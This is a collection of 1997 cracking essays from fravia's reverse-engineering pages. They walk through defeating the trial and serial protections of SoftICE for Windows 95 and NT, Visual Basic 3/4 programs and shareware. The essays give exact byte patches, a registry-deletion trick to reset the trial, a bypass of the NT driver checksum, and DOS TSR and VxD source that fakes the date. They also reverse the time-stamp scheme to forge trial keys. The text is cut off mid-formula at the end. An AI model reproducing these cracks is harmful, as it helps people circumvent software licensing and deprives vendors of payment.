will break again in hmemcpy. Hmemcpy will read another echo of the string in the
dll's memory. Place a bpr there too. And finally you will break at the part of the
code "that.class" tppabs="http://fravia.org/that.class" does the comparing (the
instruction you will see is REPZ CMPSB). When i reached that part of code i had 4
breakpoints set. One breakpoint for hmemcpy and 3 bpr's on 3 echos of the string (or
parts of it). Step 8: Now we have found the code where the VB3 dll does the comparing
we can now place a breakpoint there and disable the other breakpoints. We wont need
them anymore. We HAVE FOUND the place where things get compared in VB3. What you see
is this : :The_VB3_compare_snippet : 8BCA mov cx, dx : F3A6 repz cmpsb ;<- here the
strings in ds:si and es:di : 7401 je 8CB6 ; are being compared : 9F lahf : 92 xchg
ax,dx : 8D5E08 lea bx, [bp+08] : E80E06 call 92CB Just before the REPZ CMPSB if you
do a 'ed si' and a 'ed es:di', you will see what is compared with what. In this case
the second and third character of the string we entered are compared with 'V8'. So if
you restart the program and enter 0V87654321 it will register. Step 9: We are not
finished yet. Quite the contrary! Truly, the important part is what we do now. Next
time we meet a VB3 program (and we'll meet quite a lot of them :) we want to place a
breakpoint at the location with the code above and read out the right serial. How do
we do that ? Lets try it real quick with our target: The Collector. Start The
Collector and enter a dummy serial. Enter softice and place a breakpoint on hmemcpy.
Leave softice and press 'OK', this will put you back in softice. Now, get out of the
kernel and and get in the code of VBRUN300 (press F11 and F10 untill you get there)
Now do a search for the pattern : 8B,CA,F3,A6,74,01,9f,92,8D,5E,08,E8,0E,06 that's
the "mov cx, dx" and the rest we have seen above, search: s 0 l ffffffffff
8B,CA,F3,A6,74,01,9f,92,8D,5E,08,E8,0E,06 Place a breakpoint at the adress that gets
returned (bpx )
-press F5 and you will land in the middle of the above comparing
code.
-Only thing left to do is check out the pointers in es:di and ds:si
Step 5: Now we will let the program run with F5. When softice breaks
do a 'ed edp' and see the WideChar form of the key you entered. We
place a bpr on the block of memory containing the string and we
continue (F5). What will happen is this. Softice will break on several
places. Whats important is that it will break in the code of OLEAUT32.
When that happens trace a litle further to see whats going on. The
first few times you will get out of the OLEAUT32 very quickly. But
eventually you will see this code :
Step 6: We saw that the key is transformed into its hex value,
and saved to a place in memory. If you monitor this memory location,
you will end up here in the VB4 dll that compares it with another
value:
We see that EDX and EAX get loaded from the stack, and then
substracted. This is just an indirect way of comparing those two
values. If you check out the contents of EAX and EDX, you will see
that one has the number you entered and the other one will have the
correct registration number.
Step 7: Now we found this location its wise to note the hex values
of the code, so you can find it back quickly when you suspect that
another VB4 program uses this protection.
Final notes
Well, with the above 3 techniques i have been able to crack quite
some VB3/4 programs that used a text based protection. Sometimes
when you set a breakpoint at the comparing routine, softice will not
break. Try then to enter strings with a different length. Because
the program could be checking the length of the string you enter before
it compares the string itself. And other programs first isolate chars
from the string you enter and then compare those isolated chars, but
again they get compared at the locations stated in the examples above.
With VB5 programs i havent much experience, i only cracked one of
them. It was called Hitlist Pro v3.0. By patching the VB5 dll, I could
remove its 30 day timelimit just like it was a regular program. Of
course, the VB5 dll had to be placed in the Hitlist Pro main dir,
this to prevent other VB5 programs using the patched DLL.
Thats it folks, you may contact me (if you know how ;--) on irc
with feedback and questions.
razzia [pc97]
date: 08 May 1997
I'm impressed. I believe we should use this approach also with all the OTHER overbloated languages' dlls... say for instance
the *.dll of Visual c++... That's an idea! I'm already on my way :-)
You are deep inside fravia's page of reverse engineering, choose your way out:
Phase 3
By Frog's print - 26 May 1997
I downloaded SoftIce 3.01 Win95 today (Friday 23,1997) at Numega's web site (the
quickest way to get it (and the documentation) without their registration form
is : http://www.numega.com/eval/evareq6_stp2.ht) and re-installed it.
I DID find the "Eval expiration date - DO NOT REMOVE!..." string inside
WinIce.dat.
The reason is that right BEFORE installing it I DELETED in the Registry the
following values:
HkeyLocalMachine\SOFTWARE\Microsoft\Windows\Help
OleGUIDHigh
OleGUIDLow
Those values are ONLY used by Loader32.exe and the SetUp program.
The values inside WinIce.dat (Eval expiration date...) are ONLY used by
WinIce.exe.
The SetUp program just checks the Registry for "OleGuidHigh" and "OleGuidLow" to
see if a copy of SoftIce (14 days trial) has previously been installed on your
computer (the UnInstall program does not remove them).
If so, it will not add the installation date string inside WinIce.dat even if
your evaluation period has not yet expired and you could not use SoftIce any
longer (and it will not change the values in the Registry as well).
This is just because Numega's guys don't want you to re-install it as many times
as you want in order to use the program after the 14 days trial period.
So, without cracking WinIce.exe, NmTrans.dll and Loader32.exe, you can use
SoftIce FOREVER as long as, when you re-install it after you trial period, yo
delete the values located in the Registry.
Again, this is just another very simple (and from our point of view rather
disappointing!) trick/protection from Numega! Cmon guys, you can protect
better than that!
PS: To check the above comments, the best is to install and then re-install
SoftIce using a "Spy" program like TechFacts 95 v1.30 (3/7/97) (from
DeanSoftware Desing - who released InfoSpy) available at:
http://ourworld.compuserve.com/homepages/deansoft
I use it each time I install a program and it is very helpful (BTW, as it is
shareware, you may want to crack it by searching for "C6051AF34C0001" and
replace with "C6051AF34C0000"! :-)
Frog's Print -
You are deep inside fravia's page of reverse engineering, choose your way out:
Phase 4
By IgNorAMUS - 27 May 1997
------------------------------------------------
As I expected, everything was exactly the same. The only tool I needed
was HIEW (which is really a great thing, I hope you all know it).
I took the Project 2 page and searched for the pieces of code described
there. Within a few minutes the crack of Loader32 was done.
At the time ofd my session only the first part of Project 2 was available,
so I had to do all the rest by myself. I disassembled the NTICE.SYS (which
is the NT version of WINICE.EXE) and looked for the substring "time",
following +ORC's advice in his lesson 4.2.
I found 2 imported functions: RtlTimeToTimeFields and KeQuerySystemTime.
The second function looked pretty interesting. Wow! Only one occurence
in the whole file. A few lines below KeQuerySystemTime I found the call to
a routine VERY similar to NmGetNumDaysLeft. Well, you know all this from
+Rcg's essay. So I simply changed the end of the check and thought that
everything was done.
But when I tried to start the NTIce, the only result was an error
messagebox:
What's this? Does our target hyde some checksum protection inside?
I tried to change some stupid byte inside the string "This program
cannot be run in DOS mode", in the file header. The result was exactly the
same - again this nasty message: checksum protection!
OK. I wanted to know where the checksum was counted and checked.
So I loaded the original (unaltered) version of NTIce - to be able to trace
it, I renamed the "cracked" NTICE.SYS to PNPISA.SYS and tried to fire
STATUS_IMAGE_CHECKSUM_MISMATCH
...
CheckSum.
A checksum value is used to validate the executable file at load time.
The value is set and verified by the linker. The algorithm used for
creating these checksum values is proprietary information and will not be
published.
...
; <<--------- this is the entry point push ebx push esi mov esi,[esp+10] ; file
length push edi push ebp lea eax,[esi+1] shr eax,1 push eax ; number of word
components in file ; if the file length is odd, ; 00h is appended after the last byte
push [dword ptr esp+18] ; buffer (file image in memory) push dword 00 ; checksum
start value call 873C2 push [dword ptr esp+14] ; buffer address mov di,ax ; ax
changes during call, so store it call RtlImageNtHeader ; returns position of 'PE' in
buffer test eax,ea je 87454 mov edx,[eax+58] ; checksum from the file header mov
ebx,1 cmp di,dx mov ebp,ebx adc ebp,-1 mov cx,dx sub di,bp ; subtract low word of
checksum sub di,cx mov ax,[eax+5A] ; high word of the checksum cmp di,ax adc ebx,-1
sub di,bx sub di,ax ; subtract high word of checksum jmp 87459 87454: xor di,di mov
edx,esi 87459: movzx eax,di add eax,esi ; add file length pop ebp pop edi cmp eax,edx
; compare real and reported checksum sete al pop esi pop ebx retn 08 So that's all.
The algorithm is just simply adding the file (by words). Whenever overflow occurs,
checksum is cut to word and incremented. The position of the checksum itself is
excluded from this processing. After "summing" the whole file, this checksum is
expanded to DWORD and the file length is added. That's all. Simple but effective.
Just two remarks: 1) If you wanna easily get inside the checksum test, set breakpoint
on ZwOpenFile. When you get there, type P RET once. I'm sure you'll find the way then
:-) 2) As you can see from the code "above,.class"
tppabs="http://fravia.org/above,.class" the PE EXE file checksum is stored at offset
05A, starting from "PE". For more info see the relative Microsoft documentation.
Happy NT drivers cracking!! by igNorAMUS, 27 May 1997
You are deep inside fravia's page of reverse engineering, choose your way out:
Phase 5
By +RCG - 01 July 1997
;interesting....
:00000504 CD20 *** int 20 ; VmmCall End_Nested_Exec
:00000506 8600 xchg [eax], al
:00000508 0100 add [eax], eax
:0000050A 56 push esi
:0000050B 8D742404 lea esi, [esp + 04]
:0000050F CD20 *** int 20 ; VmmCall
Restore_Client_State
:00000511 8E00 mov es, [eax]
:00000513 0100 add [eax], eax
:00000515 5E pop esi
:00000516 83C46C add esp, 0000006C
:00000519 C3 ret
but in the last weeks I have been trying to understand VXD and now I understand
it a little more.
I hope that in a few weeks I'll be able to write a short tutorial about
Vxd design.
The idea is, Does Winice use the old DOS 2Ah service to get the system
date? and, Does it W95 too?
ODIGO SEGMENT
ASSUME CS:CODIGO
.486
ORG 100h
push cs ;ax=cs
pop ax
mov ds:86h,ax
lea ax,New_Int21
mov ds:84h,ax
pop ds
jmp final
New_Int21: cli
cmp ax,2A00h
jne Noth
mov edx,[esp+4]
test edx,edx ;SoftIce call?.
jne Noth ;No
;Put here your install date
mov al,1 ;Install day of week
mov cx,1997 ;Install year
mov dh,6 ;Install month
mov dl,23 ;Install day
sti
iret
Noth: sti
jmp dword ptr cs:[Noth1]
Noth1: dw 00,00
ENDS CODIGO
END INICIO
Now, once it is compiled, add to your autoexec.bat file, just before the
winice line, so you will have it permanently loaded.
I changed a little this program and forced it to give always the same date,
and after loading Windoze95, I changed the system date, but it has no effect, always
the same date! Our Windoze95 OS and its "32 bits preemptive multitasking kernel" use
the old DOS services to get the system date!!!!
Could you imagine how many uses we can give to this fact?
As first application of what we learned, let's crack our beloved
Numega's Winie... I noticed that only Winie's call has a zero in the [esp+4]
address, lets use this as a way to check if Winie is the real caller, just
like I did.
e $0:84
now, you can see where in memory our TSR program is stored.
0000:00000084 2C 01 BC 09 F7 2F ........
\___/ \___/
Offset Segment
and:
u $9BC:12C or bpx $9BC:12C
Part 2:
The same, using VxD plus a self-modifiable code:
.386p
.xlist
include vmm.inc
.list
;******************************************************************************
; declare virtual device
;==============================================================================
VXD_ICODE_SEG
BeginProc VicecrkD_Sys_Crit_Init
mov eax, Hooked_Int
mov esi, OFFSET32 VicecrkD_V86_Int_Handler
VMMCall Hook_V86_Int_Chain
clc
ret
EndProc VicecrkD_Sys_Crit_Init
VXD_ICODE_ENDS
;******************************************************************************
; Code
;------------------------------------------------------------------------------
VXD_CODE_SEG
;******************************************************************************
; Control dispatch proc
;==============================================================================
BeginProc VicecrkD_Control
Control_Dispatch Sys_Critical_Init, VicecrkD_Sys_Crit_Init
clc
ret
EndProc VicecrkD_Control
;--------------------------------------------------------------------
; VicecrkD_V86_Int_Handler
;--------------------------------------------------------------------
BeginProc VicecrkD_V86_Int_Handler
pushad
NOPS: jmp short Go_Ahead ;We will nop this to avoid the check
jmp short No_Winie_Time_Request
Go_Ahead:
mov eax,[ebp.Client_EAX]
cmp ax,2A00h
jne short No_Winie_Time_Request
mov eax,[ebp.Client_EBX]
test eax,eax
jne short No_Winie_Time_Request
mov eax,[ebp.Client_EDI]
test eax,eax
jne short No_Winie_Time_Request
mov eax,[ebp.Client_ESI]
test eax,eax
jne short No_Winie_Time_Request
popad
clc ;consume the interrupt
ret
No_Winie_Time_Request:
popad
stc ; don't consume the interrupt
ret
EndProc VicecrkD_V86_Int_Handler
;==============================================================================
VXD_CODE_ENDS
END
To compile this you will need some include and exe files, you may
try to fetch them here:
ftp.ttt.bme.hu/pub/winddk/386/
This Vxd is based on VHook86D sample you can find in these ftp.
Good Luck
+RCG 1997
Post Scriptum:
********************************************************************
masm5 -p -w2 -Mx vhook86d;
link386 /NOI /NOD /NOP /MAP vhook86d,vhook86d.vxd,,,vhook86d.def
addhdr vhook86d.vxd
move vhook86d.vxd c:\windows\system\vmm32
@echo Now add this line to your system.ini
@echo [386Enh]
@echo .
@echo .
@echo .
@echo device=*vhook86d
********************************************************************
EXPORTS
VHook86D_DDB @1
********************************************************************
You are deep inside fravia's page of reverse engineering, choose your way out:
There were many bits of information that were left out, not only the new
checksum itself but also the exact location and code of the routine
"similar to NmGetNumDaysLeft". Now here it is, in HIEW (I first had to
update my entire toolbox. You *must* have version 5.60 or greater,
because of the checksum later on) search for the following:
Then you're landing in a routine quite (but not wholly) similar to that
one in Phase 2; Page down... down... down - gotcha:
jmps...
.0002B825: B90E000000 mov ecx,00000000E
.0002B82A: 2BC8 **** sub ecx,eax *** --> nop
nop
.0002B82C: 8D4601 lea eax,[esi][00001]
.0002B82F: 6BC003 imul eax,eax,003
.0002B832: 890DB0E40600 mov [00006E4B0],ecx
.0002B838: 5F pop edi
.0002B839: 5E pop esi
.0002B83A: 5B pop ebx
This is the first part of it. Now for the tricky one. First the checksum
for retrieval. Hit F8 in HIEW:
Checksum: 000DBB04
Now we can search for this constant in register EDX when tracing into
the call right after NTOSKRNL!ZwOpenFile to be sure we are near it;
First, take NTOSKRNL.EXE into the Exports listbox in loader32, then
start up the unchanged Version of NTICE.SYS. BPX ZwOpenfile as assumed
in phase 4. Outta there.
This is again a point I first didn't understand. Why should the NTICE
fake be renamed in PNPISA.SYS? Wouldn't it have been much funnier to
name it "Winnie.sys"? Then I realized what IgNorAMUS meant with it. A
breeze for crackers, in NT most of the drivers can be loaded and
unloaded "afterwards" in the running environment (understand now why I
like working with it? 95 is game. NT is business. They take it much more
serious). What you do is search the listbox of Control, Devices (hope I
got the names right!) for a device that is loaded at "System" level
_and_ deactivated (==not needed). Rename NTICE.SYS or what you have to
the name of this device (backup!!!) and click the Start button. Just
like that! And restart and restart and restart if you need to. No silly
bootomania.
When everything is done right, you don't wait for long and wham! Winnie
pops up with the breakpointed line. Trace now. Only step over the
NTOSKRNL calls. Keep watching EDX. Near the end of the second call the
checksum appears, and the "new" one in
EAX: 000D83E2.
cmp al,al
the checksum is slightly different. If you now press F5, the well known
MessageBox appears: "...something... 00000221". Nevermore!
Hiew the PNPISA.SYS now and search for the anagram: 04 BB 0D 00. Change
That's all about it. Now, before doing anything else, "take the cracked
NTICE.SYS out of the traffic", as a german phrase goes, and replace it
with the original PNPISA.SYS (Remark: This driver comes first with the
service pack 3 of NT4!). If you don't, this means war because at next
bootup the driver will then be loaded. Or even not. And if you have NT
running on a NTFS partition, you will have to install a second NT4 on
your system to get back to it (sort of service station, not a bad move
though).
What there is left to say: You have to live on with the Registry keys
OleGUIDHigh and OleGUIDLow and also with the lines at the bottom of
Winice.dat. But don't matter, eh?
Greetz,
Birdy Harry
You are deep inside fravia's page of reverse engineering, choose your way out:
Lets light up a "Ganja" Cigarette (in our Sri Lankan way :-)
Ok! Here we go!
- W32DASM loader32
- choose Refs & String data ref
- click "*** Valid for"
CHANGE TO
:0043A29B 48 DEC EAX
:0043A29C 40 INC EAX
:0043A29D 48 DEC EAX
:0043A29E 40 INC EAX
:0043A29F 90 NOP
Hereby you have got the complete crack for SoftICE 3.01. I feel that
+HCU's project2 is therefore terminated (for Win95's Godot at least).
I'm actually working on project0 (W32DASM version 8.5 crack).
In a week or two I hope to release an essay about that protection scheme.
I am also working on NTICE 3.01, using a different approach.
The relevant essay will be released (I hope) very soon.
You are deep inside fravia's page of reverse engineering, choose your way out:
SOFTICE NT - PHASE 8
The concluding essay
by BOZO
(02 August 1997, slightly edited by Fravia)
In any case ... I used my homemade crack for Winice WinNT... and started
cracking everything in sight.
Well... to all crackers .. Winice has its good points and its bad ones,
but I don't want to go into that.
By the way: Wdasm, Urbanik's disassembler, is an excellent tool in its
own right and has a definite place next to WinIce.
Okay... back to reverse engineering WinIce for WinNT.
So what is the crack? Just perform the small (and obvious) crack below...
and ensure that the WinIce driver is loaded during the boot phase.
No checksum... nothing... everything loads smoothly.
(NOTE: use in BOOT configuration else it will sumcheck and wont load)
Okay .... thats it. There are a number of other cracks of mine, but
those are mostly boring 2 minute jobs.
You are deep inside fravia's page of reverse engineering, choose your way out:
SOFTICE NT - PHASE 9
Some explanations
by Birdy Harry
(06 August 1997, slightly edited by Fravia)
Dear Fravia+,
Looking through your pages I found an interesting comment from Squirlle
and would like to add some (hopefully) helpful hints. Also, I really
appreciated if Squirlle would email me and be more precise on which
difficulties he encountered, because as for now I have to guess them
a bit. I don't have his email adress too, so I'm posting this request
to you.
>I got lots of errors and even after I found out about the need for
>certain visual c++ libraries to follow phase 4.
Now consider the following applet in your "Control" folder (look at the
caption and you'll understand why sometimes "my" names may not coincide
with yours =D):
Now look at the name! "PnP ISA Enabler Driver" or shortly PNPISA.SYS!!!
Sometimes, I admit, you may have to guess a little the correct file name
itself... in order to rename your target to it. This happens because the
line in this window will stay the same no matter the real file, that is,
it is not rechecked. But looking into .\System32\Drivers\ this shouldn't
be too hard.
Again, this is system level business... therefore be careful!
This was the meaning of the other tip: If you experiment with these with
NT on an NTFS partition (as I always would recommend it), have another NT
installation onto another FAT partition! Because only then you can
exchange the faked ones with the real drivers... if you messed up somehow
and erratically rebooted!
You can determine the usage of this driver mainly by looking at the
column in the middle - it says "not used"! This happens because if it was
there would be a notion "Gestartet" or maybe "started" (in the american
language NT version).
By the way, another driver suitable for our fake replacement would be the
"Pcmcia" on top of PnPISA or the "PCIDump" driver, because NT has not actually
This just is the way the startup mode of WinICE is adjusted (you know:
the Startup Mode Setup). You can do this task much faster this way and
you don't even get the CleanSweep SmartSweep popup window popping up...
where you may digit the "new installation" a name (as you can see I'm
not in "cracking mode" at the moment =):
>I did some searching on the net and found a helpful news
>article describing how to AUTOMATICALLY change the checksum.
>Simple (although not as instructive, it WORKS) use vc++ editbin.exe
>as follows: editbin /release That's it.
It is the "MSVC COFF binary file editor" -- this is real smart trick,
congratulations! I tested it with a copy of 4NT:
Of course it is done right the same way (same algorithm, that is) as it is
done by NTOSKRNL.EXE, cause both EDITBIN and NTOSKRNL are M$ products; as we
all know, they hardly change something they got running once =D, e.g. if you
look at the CD serial number check routine of NT setup and Office setup and
MSVC setup you will come to see that the total of the digits after the "-"
always is 14(decimal), let's say "040-2025104". The three digit number before
the "-" can be 038, 040 (just add an item :)
So I'm impressed! But the goal was also: reverse engineering. It was much
more instructive for me to crawl into the guts of NT and find the sucka my
way (sorry... I should have said "Ignoramus' way" ;-).
Nobody would doubt it. But if a cracker does not understand it, who else ever will =)
?
And by the way what I had to fight more than NT was the win95 OS --
"Sinnlos 95" it's called in germany, this
notion means "without purpose" =D
You are deep inside fravia's page of reverse engineering, choose your way out:
The "save as" function is called at startup and at shutdown of the program, but honestly, I dunno why. greetz, Birdy Harry
Introduction
As you will know from the previous good essays by Frog's Print, +Rcg and The
Undertaker, Sice hides the installation time stamp in two DWORDs stored in
the
Registry (under HKLM\Software\Microsoft\Windows\Help\OleGUIDLow
and HKLM\Software\Microsoft\Windows\Help\OleGUIDHigh) and inside
WINICE.DAT
(look at the fancy line "Eval expiration date - DO NOT REMOVE!").
As already pointed out, the two DWORDs in the Registry are used only by the
Loader while the two DWORDs in WINICE.DAT are used only by WINICE.EXE (you
may experiment this yourself, changing the ones or the others and observing
which one "die" and which one do not).
The easy way to get 14 more days from Sice is to delete those two entries in
the Registry, uninstall Sice and reinstall it. This action forces the
installation program to put a "fresh" time stamp into the Registry and into
WINICE.DAT. Anyway, knowing how this time stamp is calculated, we could just
write a little program to put a "fresh" one into the Registry and into
WINICE.DAT whenever the trial period has expired. It would be exactly like
reinstalling the whole application but without having to save the configuration
files and putting them back later.
I know that it's more comfortable to patch Sice once for good but I think
that this little exercise of reverse-engineering will nevertheless turn
out to be useful, once done.
What's more: at the and of this essay you will know something more about time-stamp
encryption (and how to reverse its effects) and you will own a little program
that will show you the two magic numbers necessary to bring your expired Sice
copy back to a new life (should you really need to use it a couple of days more
because you have been very ill during the two allowed weeks :-)
Since I think you know how and where to get Softice for Windows95 (or more
probably you already have it), let's start.
Reverse-engineering at work
Here is the whole NmGetNumDaysLeft "dead" listing fully commented. The first
part is straightforward... yet you are encouraged to read it carefully (some
comments are trivial, assembly gurus will excuse me).
We will take a rest and spend some more words on the code as soon as we will
get to the main part.
/------------------------------------------------------------------------\
\------------------------------------------------------------------------/
Ok, we are done with the easy part. Up to this point the application has read
the two keys from the Registry and has stored them into two global variables.
Low key is in 101C20D8 (on my PC, on yours can be different) and high key is in
101C23E8. Then the application has read the current time and has stored it
starting from esp+20. The time is organized into a SYSTEMTIME structure that
looks like this (from WinApi32 reference):
So, if the structure is in memory starting from esp+20, wYear will be the
WORD
a esp+20, wMonth the WORD at esp+22 and wDay the WORD at esp+26 (if the stack
hasn't changed in the meantime).
Here is how this data are extracted from the structure and stored for future
usage (unfortunately the extraction code is mixed with the starting of the time
stamp decryption routine. We will come back on this later on).
/------------------------------------------------------------------------\
:1002647C mov esi, dword ptr [esp+20] ; year and month in esi
:10026480 xor eax, eax ; zero eax
:10026482 mov ax, word ptr [esp+26] ; day in ax
:10026487 and esi, 0000FFFF ; mask to get just the year
:1002648D mov ecx, dword ptr [1007A5C0] ; *** magic1 *** = FCB32679
:10026493 mov dword ptr [esp+1C], eax ; day in esp+1C
:10026497 xor eax, eax ; eax = 0
:10026499 xor ecx, dword ptr [101C20D8] ; ecx = magic1 xor low key
:1002649F mov ax, word ptr [esp+22] ; ax = month
...
\------------------------------------------------------------------------/
Ok, here is where the whole thing begins (actually has already begun in the
previous snippet...) What is gonna happen now? Well, Sice has the encrypted time
stamp read from the Registry and has the current time. Now it has to decrypt the
time stamp and compare it to the current time + 14 trial days. Sounds quite
easy, uh? Let's see how the decryption algorithm works. Remember that a magic
number (magic1) has already been XORed with the low key and put in ecx (previous
snippet). Is on this value (magic1 XOR low key) and not on the low key itself
that all the subsequent calculations are performed. To anticipate you something,
the value of magic1 XOR low key is nothing but the installation time stamp a
little "scrambled", as you'll see... just the date of install, but with all its
numbers "mixed up". For the moment, read on and try to follow the math; we will
stop as soon as it gets harder.
Oops! One more thing before you start reading. To make things easier I had to
introduce some math-like notation. Since the value of magic1 XOR low key is
scrambled on a nibble by nibble basis (1 nibble = 4 bit = 1 hex digit), we will
refer to it with the notation:
where 8 represents the eighth nibble, 7 the seventh and so on. When you will
read something like this:
00000004
it will mean that we have a DWORD that has been obtained taking the fourth
nibble of magic1 XOR low key and putting it in first position (i.e. has been
shifted down 12 bits). If you read something like this:
00000527
it will mean that this DWORD is composed by the fifth nibble of magic1 XOR low
key in third position, the second in second position and the seventh
in first position.
If you have problems understanding this just read on a first time and come back to
read it a second time after you have seen how the algorithm works (and I know you
will then easily understand).
/------------------------------------------------------------------------\
:100264A4 mov ebx, ecx ; ebx = ecx = magic1 xor low key
:100264A6 and ebx, 0000F000 ; ebx = 00004000 of magic1 xor low key
:100264AC mov edi, ecx ; edi = magic xor low key
:100264AE shr ebx, 0C ; ebx = 00004000 >> 12 = 00000004
; 4th nibble of magic xor low key
:100264B1 and edi, 0000000F ; edi = 00000001 of magic xor low key
:100264B4 shl edi, 04 ; edi = 00000001 << 4="00000010" ; 1st nibble
of magic xor low key :100264B7 mov ebp, ecx ; ebp="magic" xor low key :100264B9 and
ebp, 0F000000 ; ebp="07000000" of magic xor low key :100264BF mov dword ptr [esp+18],
eax ; month in esp+18 (eax) :100264C3 shr ebp, 10 ; ebp="07000000">> 16 = 00000700
; 7th nibble of magic xor low key
:100264C6 mov eax, ecx ; eax = magic xor key
:100264C8 and eax, 00F00000 ; eax = 00600000 of magic xor low key
:100264CD shr eax, 14 ; eax = 00600000 >> 20 = 00000006
; 6th nibble of magic xor low key
:100264D0 or edi, eax ; edi = 00000010 or 00000006 = 00000016
:100264D2 mov eax, ecx ; eax = magic xor low key
:100264D4 and eax, 000F0000 ; eax = 00050000 of magic xor low key
; 5th nibble of magic xor low key
:100264D9 and ecx, 000000F0 ; ecx = 00000020 of magic xor low key
; 2nd nibble of magic xor low key
:100264DF or ebp, eax ; ebp = 00000700 or 00050000 = 00050700
; (7th nib) (5th nib)
:100264E1 shr ebp, 08 ; ebp = 00050700 >> 8 = 00000507
:100264E4 or ebp, ecx ; ebp = 00000507 or 0000020 = 00000527
:100264E6 mov ecx, FFFFFFFF ; ecx = FFFFFFFF
:100264EB sub ecx, ebx ; ecx = FFFFFFFF - 00000004
; (4th nibble)
:100264ED lea eax, dword ptr [ebp+edi] ; eax = 00000527 + 000000016
:100264F1 imul ecx, edi ; ecx = (FFFFFFFF - 00000004) *
; 000000016
:100264F4 dec ecx ; ecx = (FFFFFFFF - 00000004) *
; 000000016 -1
:100264F5 inc eax ; eax = 00000527 + 000000016 + 1
:100264F6 imul ecx, ebp ; ecx = ((FFFFFFFF - 00000004) *
; 000000016 -1) * 00000527
:100264F9 imul eax, ebx ; eax = ( 00000527 + 000000016 + 1 ) *
; 00000004
:100264FC sub ecx, eax ; ecx = (((FFFFFFFF - 00000004) *
; 000000016 -1) * 00000527 ) -
; (( 00000527 + 000000016 + 1 ) *
; 00000004 )
:100264FE mov eax, edi ; eax = 00000016
:10026500 xor eax, ebp ; eax = 00000016 xor 00000527
:10026502 xor eax, ebx ; eax = (00000016 xor 00000527 ) xor
; 00000004
:10026504 sub ecx, eax ; ecx = (((FFFFFFFF - 00000004) *
; 000000016 -1) * 00000527 ) -
; (( 00000527 + 000000016 + 1 ) *
; 00000004 )) -
; ((00000016 xor 00000527 ) xor
; 00000004 )
; Keep one eye on the quantity we have in ecx and keep reading...
:10026506 mov eax, dword ptr [1007A5C4] ; eax = *** magic2 *** = 7866EDBA
:1002650B xor eax, dword ptr [101C23E8] ; eax = magic2 xor high key
:10026511 xor eax, dword ptr [101C20D8] ; eax = magic2 xor high key xor low key
:10026517 add ecx, eax ; ecx = ecx + eax
:10026519 sub ecx, edi ; ecx = ecx - 00000016
:1002651B je 1002651F ; skip this odd call il the result is 0
:1002651D call ecx ; or *** suicide *** if is not...
...
\------------------------------------------------------------------------/
Here we are! So what the hell is the quantity we have in ecx and what happens
to it? There we have another magic number (magic2) where high key plays also
a role... It looks like there is a "quantity" that discriminates in some way
between good guys and bad guys. Good guys get a perfect zero on the last sub
ecx, edi. On the other hand, bad guys get something that is "non zero" and fall
into a "suicide" call. So what is in ecx? Well, for the moment we will leave it
there and take instead a quick look at the code that follows:
/------------------------------------------------------------------------\
:1002651F lea ecx, dword ptr [ebp+2*ebp]; ecx = 00000527 + 2*00000527
:10026523 lea ecx, dword ptr [ebx+4*ecx]; ecx = 00000004 + 12*00000527
:10026526 lea ebx, dword ptr [esi+2*esi]; ebx = 3*(year and month)
:10026529 mov eax, ecx ; eax = 00000004 + 12*00000527
:1002652B shl ecx, 05 ; ecx = (00000004 + 12*00000527)*32
:1002652E sub ecx, eax ; ecx = (00000004 + 12*00000527)*31
:10026530 mov eax, dword ptr [esp+18] ; month in eax
:10026534 lea edx, dword ptr [ecx+edi] ; edx = (00000004 + 12*00000527)* 31 +
; 00000016
:10026537 lea ecx, dword ptr [eax+4*ebx]; ecx = month + 12*year
:1002653A mov ebx, ecx ; ebx = month + 12*year
:1002653C shl ecx, 05 ; ecx = (month + 12*year)*32
:1002653F sub ecx, ebx ; ecx = (month + 12*year)*31
:10026541 add ecx, dword ptr [esp+1C] ; ecx = (month + 12*year)*31 + day
...
\------------------------------------------------------------------------/
So, low key is nothing but the installation time stamp a little encrypted and
scrmabled. If you take the low key, XOR it with the first magic and then
"massage" it a little (i.e. taking its nibbles and putting them in the right
place) you obtain the installation time stamp. Here is a more figurative
explanation (btw, the eighth and third nibbles are not used by the algorithm):
For example, in my Registry low key is F1D4A6B9. XORed with magic1 (that is
FCB32679) we have 0D6780C0. Referring to the scheme above we get:
So I have installed Sice on August 6th 1997 (that incidentally is right 8-)
).
Now that we know what are the quantities that we indicated with 00000016 (the
day), 00000004 (the month) and 00000527 (the year), we can go back to the
strange expression that was in ecx (at :10026504). It was:
The part of code that follows (starting from :10026506) calculates another
value:
this value is then added the previous ecx and then the day is subtracted from
this sum. At the very end we have:
and we know that this equals to zero for good guys and to non zero for bad guys.
Now we need a little zen. Look at this expression: month, days and year come
from the combination of a constant (magic1) and a value, the installation time
stamp, that in fact is "fixed" (i.e. it's like a constant from the application
point of view, because is "fixed" by the time you install Sice). magic2 is another
constant and low key (for what we just said) is like a constant too.
So, the only value that can make this expression zero is the high key (that we
haven't considered until yet)...
Eureka! We got it! So the high key is nothing but a checksum value
for the encrypted time stamp. And we also know that its value has to be the
one that makes the final value of ecx = 0.
Before further considerations, let's take a look at the final part of the
function:
/------------------------------------------------------------------------\
; Up to this point
; edx = absolute day of installation as
; encrypted into the registry
; ecx = current absolute day
:10026545 cmp ecx, edx ; ecx 14 ?
:10026553 jnb 1002655C ; yes, jump out (trial time has expired)
:10026555 mov eax, 0000000E ; 14 days of trial
:1002655A sub eax, ecx ; eax = 14 days of trial - days passed
; since the installation
:1002655C pop ebp
:1002655D mov dword ptr [101C20DC], eax ; save days that are left for the trial
:10026562 pop edi
:10026563 pop esi
:10026564 pop ebx
:10026565 add esp, 00000020
:10026568 ret
\------------------------------------------------------------------------/
Nothing strange here: it's just determining how many days of trials are left
and behaving as a consequence. You can take a look at the other cited essays of
project2 to know more about it.
Suppose we want to make Sice believe has been installed on a certain day. The
corresponding date in hex digit will be:
4/16/527
where each number represents the corresponding nibble (hex digit) of the
scrambled time stamp (according to the notation we have introduced). For
example:
that would be September 9th 1997... let's put the nibble in order (87654321); we
get in the previous example:
8 = ?, 7 = D, 6 = A, 5 = 7, 4 = 9, 3 = ?, 2 = C, 1 = 0
Now we have to encrypt it XORing with the magic1 (remember that the XOR
operation is commutative):
Ok, in this example F114B6B9 will be our low key. Now we need to calculate
the
corresponding checksum. The equation we came up with was:
and we know that must be ecx = 0 (good guys condition). So we have the equation:
Now we can apply a couple of important properties of the XOR operator (plus
the
commutative property we already know). This properties are really useful
whenever you have to reverse encoding/decoding algorithms (e.g. the "tabel XOR"
ones):
property 1 : x XOR x = 0
property 2 : y XOR 0 = y
If we XOR both sides of the previous equation with magic2 xor (high key) and
then we apply the XOR properties we get exactly what we need:
low key =
{ day - (((( FFFFFFFF - month ) * days - 1) * year ) -
(( year + day + 1 ) * month )) -
